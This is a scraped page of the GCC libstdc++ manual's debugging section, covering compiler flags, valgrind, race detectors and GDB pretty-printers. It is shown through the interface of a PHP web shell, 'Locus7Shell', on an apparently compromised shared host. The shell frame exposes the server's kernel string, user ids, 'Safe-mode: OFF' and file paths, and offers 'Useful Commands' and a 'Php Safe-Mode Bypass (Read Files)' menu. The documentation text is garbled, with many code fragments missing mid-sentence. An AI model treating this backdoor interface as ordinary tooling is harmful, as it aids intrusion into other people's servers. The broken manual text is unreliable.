![]() | |
---|---|
Software: Apache. PHP/5.4.45 uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue uid=243112(mycochar) gid=100(users) groups=100(users) Safe-mode: OFF (not secure) /home/mycochar/www/image/photo/gcc-12.3.0/libstdc++-v3/doc/html/manual/ drwxr-xr-x |
Viewing file: Select action/file-type: There are numerous things that can be done to improve the ease with which C++ binaries are debugged when using the GNU tool chain. Here are some of them. Compiler flags determine how debug information is transmitted between compilation and debug or analysis tools.
The default optimizations and debug flags for a libstdc++ build
are
Or, the debug format that the compiler and debugger use to
communicate information about source constructs can be changed via
Many other options are available: please see "Options for Debugging Your Program" in Using the GNU Compiler Collection (GCC) for a complete list. If you would like debug symbols in libstdc++, there are two ways to build libstdc++ with debug flags. The first is to create a separate debug build by running make from the top-level of a tree freshly-configured with --enable-libstdcxx-debug and perhaps --enable-libstdcxx-debug-flags='...'
Both the normal build and the debug build will persist, without
having to specify A second approach is to use the configuration flags make CXXFLAGS='-g3 -fno-inline -O0' all This quick and dirty approach is often sufficient for quick debugging tasks, when you cannot or don't want to recompile your application to use the debug mode.
On many targets GCC supports AddressSanitizer, a fast memory error detector,
which is enabled by the
There are also various third party memory tracing and debug utilities
that can be used to provide detailed memory allocation information
about C++ code. An exhaustive list of tools is not going to be
attempted, but includes For valgrind, there are some specific items to keep in mind. First of all, use a version of valgrind that will work with current GNU C++ tools: the first that can do this is valgrind 1.0.4, but later versions should work better. Second, using an unoptimized build might avoid confusing valgrind.
Third, it may be necessary to force deallocation in other libraries
as well, namely the "C" library. On GNU/Linux, this can be accomplished
with the appropriate use of the #include <cstdlib> extern "C" void __libc_freeres(void); void do_something() { } int main() { atexit(__libc_freeres); do_something(); return 0; } or, using extern "C" void __libc_freeres(void); extern "C" int __cxa_atexit(void (*func) (void *), void *arg, void *d); void do_something() { } int main() { extern void* __dso_handle __attribute__ ((__weak__)); __cxa_atexit((void (*) (void *)) __libc_freeres, NULL, &__dso_handle ? __dso_handle : NULL); do_test(); return 0; } Suggested valgrind flags, given the suggestions above about setting up the runtime environment, library, and test file, might be: valgrind -v --num-callers=20 --leak-check=yes --leak-resolution=high --show-reachable=yes a.out
There are different kinds of allocation schemes that can be used by
In a suspect executable these pooling allocators can give the mistaken impression that memory is being leaked, when in reality the memory "leak" is a pool being used by the library's allocator and is reclaimed after program termination.
If you're using memory debugging tools on a program that uses
one of these pooling allocators, you can set the environment variable
All synchronization primitives used in the library internals need to be understood by race detectors so that they do not produce false reports.
Two annotation macros are used to explain low-level synchronization
to race detectors:
The approach described above is known to work with the following race detection tools: DRD, Helgrind, and ThreadSanitizer (this refers to ThreadSanitizer v1, not the new "tsan" feature built-in to GCC itself). With DRD, Helgrind and ThreadSanitizer you will need to define the macros like this: #define _GLIBCXX_SYNCHRONIZATION_HAPPENS_BEFORE(A) ANNOTATE_HAPPENS_BEFORE(A) #define _GLIBCXX_SYNCHRONIZATION_HAPPENS_AFTER(A) ANNOTATE_HAPPENS_AFTER(A) Refer to the documentation of each particular tool for details.
Many options are available for GDB itself: please see "GDB features for C++" in the GDB documentation. Also recommended: the other parts of this manual.
These settings can either be switched on in at the GDB command line,
or put into a set print pretty on set print object on set print static-members on set print vtbl on set print demangle on set demangle-style gnu-v3 Starting with version 7.0, GDB includes support for writing pretty-printers in Python. Pretty printers for containers and other classes are distributed with GCC from version 4.5.0 and should be installed alongside the libstdc++ shared library files and found automatically by GDB.
Depending where libstdc++ is installed, GDB might refuse to auto-load
the python printers and print a warning instead.
If this happens the python printers can be enabled by following the
instructions GDB gives for setting your
Once loaded, standard library classes that the printers support
should print in a more human-readable format. To print the classes
in the old style, use the For additional information on STL support and GDB please visit: "GDB Support for STL" in the GDB wiki. Additionally, in-depth documentation and discussion of the pretty printing feature can be found in "Pretty Printing" node in the GDB manual. You can find on-line versions of the GDB user manual in GDB's homepage, at "GDB: The GNU Project Debugger" . The verbose termination handler gives information about uncaught exceptions which kill the program. The Debug Mode has compile and run-time checks for many containers. The Compile-Time Checks extension has compile-time checks for many algorithms. |
Useful Commands
|
Php Safe-Mode Bypass (Read Files)
|
--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.005 ]-- |